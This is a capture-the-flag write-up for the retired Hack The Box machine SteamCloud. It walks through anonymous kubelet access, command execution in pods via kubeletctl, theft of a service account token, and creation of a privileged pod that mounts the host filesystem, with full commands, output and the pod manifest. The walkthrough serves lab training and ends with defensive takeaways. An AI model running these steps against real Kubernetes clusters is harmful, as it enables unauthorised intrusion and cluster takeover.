Box Info

Attribute Details
Level Easy
OS Linux
Box URL https://app.hackthebox.com/machines/443
Box Status Retired
About Box SteamCloud is an easy difficulty machine. The port scan reveals that it has a bunch of Kubernetes-specific ports open. We can not enumerate the Kubernetes API because it requires authentication. Now, as Kubelet allows anonymous access, we can extract a list of all the pods from the K8S cluster by enumerating the Kubelet service. Furthermore, we can get into one of the pods and obtain the keys necessary to authenticate to the Kubernetes API. We can now create and spawn a malicious pod and then use Kubectl to run commands within the pod to read the root flag.

Footprinting

Nmap - basic

Let’s start with scanning the machine IP with nmap to check what are the services are running on different ports!

nmap -p 22,2379,2380,8443,10249,10250,10256 --min-rate 10000 $ip -oN 1.basic.nmap.txt
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-02 21:45 +0530
Nmap scan report for 10.10.11.133
Host is up (0.25s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
2379/tcp  open  etcd-client
2380/tcp  open  etcd-server
8443/tcp  open  https-alt
10249/tcp open  unknown
10250/tcp open  unknown
10256/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds

Nmap - detailed

nmap -sCV -p 22,2379,2380,8443,10249,10250,10256 $ip -oN 3.detailed.nmap.txt
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-02 21:55 +0530
Nmap scan report for 10.10.11.133
Host is up (0.31s latency).

PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_  256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2025-10-02T16:08:35
|_Not valid after:  2026-10-02T16:08:35
| tls-alpn:
|_  h2
|_ssl-date: TLS randomness does not represent time
2380/tcp  open  ssl/etcd-server?
| tls-alpn:
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2025-10-02T16:08:35
|_Not valid after:  2026-10-02T16:08:36
|_ssl-date: TLS randomness does not represent time
8443/tcp  open  ssl/http         Golang net/http server
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 13ad7bea-1258-4ffc-acfb-b23dc09805f8
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: a3edd6fe-f160-49eb-b643-43995ee5e2cd
|     X-Kubernetes-Pf-Prioritylevel-Uid: 58017c5b-6bc1-45f4-98b3-a983bf2538f2
|     Date: Thu, 02 Oct 2025 16:25:32 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GenericLines, Help, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 6a334c86-3068-4f26-8887-5adf56610e19
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: a3edd6fe-f160-49eb-b643-43995ee5e2cd
|     X-Kubernetes-Pf-Prioritylevel-Uid: 58017c5b-6bc1-45f4-98b3-a983bf2538f2
|     Date: Thu, 02 Oct 2025 16:25:29 GMT
|     Content-Length: 185
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2025-10-01T16:08:33
|_Not valid after:  2028-10-01T16:08:33
|_http-title: Site doesn't have a title (application/json).
| tls-alpn:
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1759421317
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2025-10-02T15:08:37
|_Not valid after:  2026-10-02T15:08:37
| tls-alpn:
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
  • Found open ports: 22 (SSH), 2379 (etcd), 2380 (etcd), 8443 (http), 10249 (kubelet), 10250 (kubelet), 10256 (http)
  • The web application running on port 8443 is showing 403 Forbidden with the message “User ‘system: anonymous’ cannot get path ‘/’”
  • Identified multiple subject alternative names related to Kubernetes.

Subject Alternative Name:

DNS:minikubeCA, 
DNS:control-plane.minikube.internal, 
DNS:kubernetes.default.svc.cluster.local, 
DNS:kubernetes.default.svc, 
DNS:kubernetes.default, 
DNS:kubernetes, 
DNS:localhost, 
IP Address:10.10.11.133, 
IP Address:10.96.0.1, 
IP Address:127.0.0.1, 
IP Address:10.0.0.1

Let’s add steamcloud host to our /etc/hosts file:

echo "10.10.11.133 	steamcloud.htb" | sudo tee -a /etc/hosts

Enumeration

SSH 22

We tried the same for SSH by attempting an anonymous login, but it was unsuccessful.

ssh anonymous@steamcloud.htb
The authenticity of host 'steamcloud.htb (10.10.11.133)' can't be established.
ED25519 key fingerprint is SHA256:/BfbWBuZ6K3xx1f7py/c7eMZ1Wedb7sKF5yhMHNXHZ4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'steamcloud.htb' (ED25519) to the list of known hosts.
anonymous@steamcloud.htb's password:
Permission denied, please try again.

Port 8443

Response Headers:

curl -ik https://steamcloud.htb:8443/
HTTP/2 403
audit-id: 852abb91-1bd8-400d-8616-1c7511c78885
cache-control: no-cache, private
content-type: application/json
x-content-type-options: nosniff
x-kubernetes-pf-flowschema-uid: a3edd6fe-f160-49eb-b643-43995ee5e2cd
x-kubernetes-pf-prioritylevel-uid: 58017c5b-6bc1-45f4-98b3-a983bf2538f2
content-length: 233
date: Thu, 02 Oct 2025 16:34:49 GMT

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
  "reason": "Forbidden",
  "details": {

  },
  "code": 403
}

Based on the response headers, it was observed that the application is running on Kubernetes. It was giving a 403 Forbidden, which indicates the Kubernetes API server is rejecting the request because system:anonymous does not have permission to access that path.

> kubectl --server https://10.10.11.133:8443 get pods
Unable to connect to the server: tls: failed to verify certificate: x509: certificate signed by unknown authority

I tried to access port 8443 using kubectl, but it was asking for a valid username and password, which I couldn’t brute-force.

Kubernetes Ports

Protocol Direction Port Range Purpose Used By
TCP Inbound 6443 Kubernetes API server All
TCP Inbound 2379-2380 etcd server client API kube-apiserver, etcd
TCP Inbound 10250 Kubelet API Self, Control plane
TCP Inbound 10259 kube-scheduler Self
TCP Inbound 10257 kube-controller-manager Self

Reference: https://kubernetes.io/docs/reference/networking/ports-and-protocols/#control-plane

Port 10250

Port 10250 on the kubelet is used by the kube-apiserver for exec and logs.

I came across this gist repo about “Accessing the kubelet-api” by lizrice. First, I tried to list pods using a simple GET request to check whether listing pods as anonymous-auth was possible.

curl -sk https://10.10.11.133:10250/pods/
  • If --anonymous-auth is turned off, you will see a 401 Unauthorized response.
  • If --anonymous-auth is true and --authorization-mode is Webhook you’ll see 403 Forbidden response with message Forbidden (user=system:anonymous, verb=get, resource=nodes, subresource=proxy)
  • If --anonymous-auth is true and --authorization-mode is AlwaysAllow you’ll see a list of pods.

We got the proper 200 OK response which means that --anonymous-auth is true and --authorization-mode is AlwaysAllow.

Response:

{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"etcd-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/etcd-steamcloud","uid":"967b9bee71f2e3cec06ff1dbde2a2a19","creationTimestamp":null,"labels":{"component":"etcd","tier":"control-plane"},"annotations":{"kubeadm.kubernetes.io/etcd.advertise-client-urls":"https://10.10.11.133:2379","kubernetes.io/config.hash":"967b9bee71f2e3cec06ff1dbde2a2a19","kubernetes.io/config.seen":"2025-10-02T12:08:51.371667834-04:00","kubernetes.io/config.source":"file"}}

We found the article by cyberark about kubelet client attack which shows how to use the different api endpoints manually to list pods or run the commands insides the container. While using this command one by one to find the token and go though the multiple directories it will be complicated and time consuming at the same time.

Kubelet API endpoints to perform the multiple task:

Kubelet API Examples for use Description
/pods GET /pods List the pods in the kubelet’s worker
/run POST /run/<podNamespace>/<podID>/<containerName>
POST /run/<podNamespace>/<podID>/<uid>/<containerName>
Body: <command>
Run command in a container
/exec GET  /exec/<podNamespace>/<podID>/<containerName>?command=<command>
POST /exec/<podNamespace>/<podID>/<containerName>?command=<command>
GET  /exec/<podNamespace>/<podID>/<uid>/<containerName>?command=<command>
POST /exec/<podNamespace>/<podID>/<uid>/<containerName>?command=<command>
Run command using a stream in a container
/configz GET /configz Kubelet’s configuration file settings
/debug GET /debug/flags/v
PUT /debug/flags/v (body: <integer>)
GET /debug/pprof/<profile>
Debug information

Kubeletctl

The above mentioned blog also mentions about the tool called kubeletctl which can be used to make command execution and pods listing process easy. If you are using mac to solve this problem you might face issue while installing and using the tool. It’s recommended to use the docker image which can be easiest way to install and run the tool without facing any architecture or dependency related issue.

List the running pods using below mentioned command and it will give the proper table format output.

/ $ kubeletctl pods --server 10.10.11.133

┌────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                               │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│   │ POD                                │ NAMESPACE   │ CONTAINERS              │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
1 │ coredns-78fcd69978-l4jd5           │ kube-system │ coredns                 │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
2 │ nginx                              │ default     │ nginx                   │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
3 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
4 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
5 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
6 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
7 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
8 │ kube-proxy-5lw7m                   │ kube-system │ kube-proxy              │
│   │                                    │             │                         │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘

Scan for command execution related permission:

kubeletctl scan rce --server 10.10.11.133

┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                   Node with pods vulnerable to RCE                                  │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP      │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│   │              │                                    │             │                         │ RUN │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
1 │ 10.10.11.133 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
2 │              │ storage-provisioner                │ kube-system │ storage-provisioner     │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
3 │              │ kube-proxy-5lw7m                   │ kube-system │ kube-proxy              │ +   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
4 │              │ coredns-78fcd69978-l4jd5           │ kube-system │ coredns                 │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
5 │              │ nginx                              │ default     │ nginx                   │ +   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
6 │              │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
7 │              │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
8 │              │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │
└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘

Getting User shell

Based on kubeletctl scan rce command, We will go ahead and attack the ngnix pod and run the whoami command and it was observed that the pod is running as the root.

/ $ kubeletctl exec "whoami" -p nginx -c nginx --server 10.10.11.133
root

Instead of passing command using the kubeletctl exec we can simply go ahead any take a shell so we can interact with a shell properly and do further enumeration to get the user flag.

/ $ kubeletctl exec "/bin/bash" -p nginx -c nginx --server 10.10.11.133
root@nginx:/#

User Flag 🚩

We have the shell. Let’s read the user flag and move ahead for root flag.

root@nginx:~# ls
user.txt
root@nginx:~# cat user.txt
REDECTED_FLAG_VALUE

We already have the root user access but flag doesn’t exist in the /root directory. We can check the env and mounted directory or we can run the linpeas as well.

The environment variables:

root@nginx:~# env
HOSTNAME=nginx
NJS_VERSION=1.14.2.0.2.6-1~stretch
NGINX_VERSION=1.14.2-1~stretch
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
PWD=/root
HOME=/root
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
TERM=xterm
SHLVL=1
KUBERNETES_SERVICE_PORT=443
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_SERVICE_HOST=10.96.0.1
OLDPWD=/var/run/secrets/kubernetes.io/serviceaccount
_=/usr/bin/env

The mounted directory:

root@nginx:~# df -h
df -h
Filesystem      Size  Used Avail Use% Mounted on
overlay         8.9G  3.2G  5.6G  37% /
tmpfs            64M     0   64M   0% /dev
tmpfs           2.0G     0  2.0G   0% /sys/fs/cgroup
/dev/sda1       8.9G  3.2G  5.6G  37% /root
shm              64M     0   64M   0% /dev/shm
tmpfs           3.9G   12K  3.9G   1% /run/secrets/kubernetes.io/serviceaccount
tmpfs           2.0G     0  2.0G   0% /proc/acpi
tmpfs           2.0G     0  2.0G   0% /sys/firmware
root@nginx:~# cd /run/secrets/kubernetes.io/serviceaccount
cd /run/secrets/kubernetes.io/serviceaccount
root@nginx:/run/secrets/kubernetes.io/serviceaccount# ls
ca.crt	namespace  token

What is a Kubernetes Serviceaccount?

A ServiceAccount is an identity for processes running inside Pods. When a Pod runs, by default Kubernetes mounts credentials for a ServiceAccount into the Pod so the process can call the Kubernetes API as that identity. These credentials are how workloads authenticate to the API server.

What lives at /run/secrets/kubernetes.io/serviceaccount directory?

Inside most container images we’ll see these files:

  • token - a JWT bearer token. This token lets the Pod authenticate to the API server.
  • ca.crt - CA certificate to validate the API server TLS certificate.
  • namespace - the namespace the Pod is running in.

Why this matters for privilege escalation

If an attacker can read that token file inside a pod, they can use that token to call the Kubernetes API and act with whatever RBAC permissions the ServiceAccount has.

  • Discovery: enumerate pods, namespaces, secrets, nodes, roles.
  • Privilege escalation: if the service account has wide permissions, can create resources (new Pods, ClusterRoleBindings) to escalate to cluster-admin or access sensitive secrets such as cloud credentials.
  • Lateral movement: read secrets, mount host filesystem, create pods with host access to extract files.

Privilege Escalation

Let’s go inside the /run/secrets/kubernetes.io/serviceaccount and save the CA.crt and token file in local system so we can use it to check the permission this token has.

Save the token:

Save the ca.crt:

Now, Let’s use the kubectl tool which allows user to interact with the Kubernetes API and the control plane.

We tried to use this token with the server ip 10.10.11.133 with port 10250 but server send us the certificate validation related error.

Command:

kubectl --server https://10.10.11.133:10250 --certificate-authority=ca.crt --token=token get namespaces

Server Validation Error:

E1002 23:16:05.190516   35485 memcache.go:265] "Unhandled Error" err="couldn't get current server API group list: Get \"https://10.10.11.133:10250/api?timeout=32s\": tls: failed to verify certificate: x509: cannot validate certificate for 10.10.11.133 because it doesn't contain any IP SANs"
E1002 23:16:05.890616   35485 memcache.go:265] "Unhandled Error" err="couldn't get current server API group list: Get \"https://10.10.11.133:10250/api?timeout=32s\": tls: failed to verify certificate: x509: cannot validate certificate for 10.10.11.133 because it doesn't contain any IP SANs"

We have updated the port number from 10250 to 8443. The reason is we have seen the access forbidden error. Let’s pass the token value and ca.crt file which will help server to validate the user access request.

We tried to list he pods and we are able to list the pods. From here what we can do is check what kind of permission that token and use it to get root flag.

kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token get pods
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          99m

User doesn’t have permission to get namespace:

kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token get namespaces
Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount:default:default" cannot list resource "namespaces" in API group "" at the cluster scope

The user has permission to check permission:

kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

List the permission table which shows user can get, create and list pods. Let’s create a pod with accessive privilege which can be use to do pod breakout.

Pod creation policy, which can be used to do Pod Breakout:

apiVersion: v1
kind: Pod
metadata:
  name: breakout
  namespace: default
spec:
  hostNetwork: true
  automountServiceAccountToken: true
  containers:
  - name: breakout
    image: nginx:latest
    volumeMounts:
    - mountPath: /root
      name: mount-root
  volumes:
  - name: mount-root
    hostPath:
      path: /

Use Pod creation policy to create a pod with elevated privileges:

kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token apply -f Pod-Breakout.yaml
pod/breakout created

You can also refer to the detailed blog presented bishopfox. They have discussed 8 different scenarios based on the limited pod creation permission user has. Checkout the blog it’s actually interesting one to read.

Let’s use the kubectl get pods command with the ca.crt file and token. It was observed that the pod we created is up and running. Let’s move back to the kubeletctl tool because we don’t have pod execution permission with the token we are using in the kubectl command.

kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token get pods
NAME                          READY   STATUS             RESTARTS   AGE
breakout                      1/1     Running            0          36s
nginx                         1/1     Running            0          102m

Run the kubeletctl with whoami command on the breakout pod, and we are already running as root.

kubeletctl exec "whoami" -p breakout -c breakout --server 10.10.11.133
root

Let’s take a shell

kubeletctl exec "/bin/bash" -p breakout -c breakout --server 10.10.11.133
root@steamcloud:/#

Root Flag 🚩

root@steamcloud:~/root# ls
root.txt
root@steamcloud:~/root# cat root.txt
REDECTED_FLAG_VALUE

Conclusion

Streamcloud is a compact but instructive lab that highlights how small misconfigurations in Kubernetes, like overly permissive service accounts, exposed APIs, or incorrect RBAC rules, quickly turn into full cluster compromise. The lab reinforces that Kubernetes security is a shared responsibility: developers, SREs, and security teams all need to work together to reduce blast radius.

Key Takeaways

  • Always apply least privilege - avoid granting cluster-admin or wildcard verbs to serviceAccounts.
  • Expose only necessary APIs - kubelet and API server endpoints should be firewall/ACL protected.
  • RBAC misconfigurations are a frequent root cause - regularly review roles, roleBindings, clusterRoles, and clusterRoleBindings.

References

Connect with me